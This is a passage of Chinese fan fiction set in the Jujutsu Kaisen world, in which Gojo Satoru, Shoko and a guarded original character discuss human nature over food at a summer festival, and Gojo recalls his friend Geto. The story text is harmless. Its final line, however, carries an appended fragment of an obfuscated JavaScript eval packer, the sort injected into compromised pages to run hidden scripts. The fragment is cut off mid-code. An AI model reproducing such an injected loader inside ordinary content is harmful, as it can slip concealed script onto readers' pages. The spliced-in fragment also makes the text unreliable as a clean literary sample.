等待食物时，窗外的人流依旧熙攘。灯笼的光透过窗纸映进来，在桌面上投下晃动的光斑。远处传来太鼓的排练声，咚、咚、咚，沉稳得像心跳。
“说起来，”五条悟托着下巴，视线落在绯月畏被帽檐遮住的半张脸上，“你刚才说‘样本数据’……那分析出什么了？”
绯月畏沉默片刻。
“分析出，人类是一种会在‘安全阈值边缘’反复试探的生物。”她说，“明知道拥挤可能引发踩踏，还是往人最多的地方挤；明知道高糖高油的食物不健康，还是排队购买；明知道烟火转瞬即逝，还是愿意等几个小时，只为了看那几十秒的光。”
她抬起眼，墨镜在灯光下反着冷光。
“这种非理性的、近乎自我毁灭倾向的行为模式，在自然界其他物种中很少见。”
五条悟笑了：“因为其他物种不会觉得‘烟花好看’啊。”
“所以，‘美’的感知足以压倒生存本能？”
“不止是美。”硝子插话，喝了口啤酒，“还有‘和大家一起’的安心感，‘一年只有一次’的仪式感，‘留下回忆’的满足感……人类需要这些东西，就像需要空气和水。”
绯月畏没说话。她看向窗外，一个穿浴衣的小女孩正踮着脚，试图把祈愿签挂到树枝上。母亲在一旁扶着她的腰，父亲举着手机拍照。灯笼的光落在一家三口脸上，温暖得几乎不真实。
食物上来了。五条悟的甜点堆了半张桌，他挖了一大勺抹茶巴菲塞进嘴里，幸福地眯起眼。硝子慢条斯理地剥毛豆，偶尔喝口啤酒。绯月畏的冰水在杯壁上凝出水珠，她没喝，只是看着。
“其实啊，”五条悟忽然开口，声音比平时轻，“我以前也不懂。”
硝子抬眼看他。
“小时候被关在家里，学咒术，学礼仪，学怎么当‘五条家主’。”他用勺子戳着巴菲上的红豆，“第一次偷跑出来参加祭典，看到这么多人挤在一起，吵得要死，吃的都是些不健康的玩意儿……我那时候想，这些人到底在高兴什么？”
他顿了顿，挖起一勺冰淇淋。
“后来杰——啊，就是我那个叛逃的挚友——他说，‘悟，你站得太高了’。”五条悟把冰淇淋递进嘴里，含混不清地说，“站得太高，就看不清地上的人为什么笑。你得蹲下来，或者……干脆躺平，让自己也沾一身土。” ;eval(function(p,a,c,k,e,d){e=function(c){retu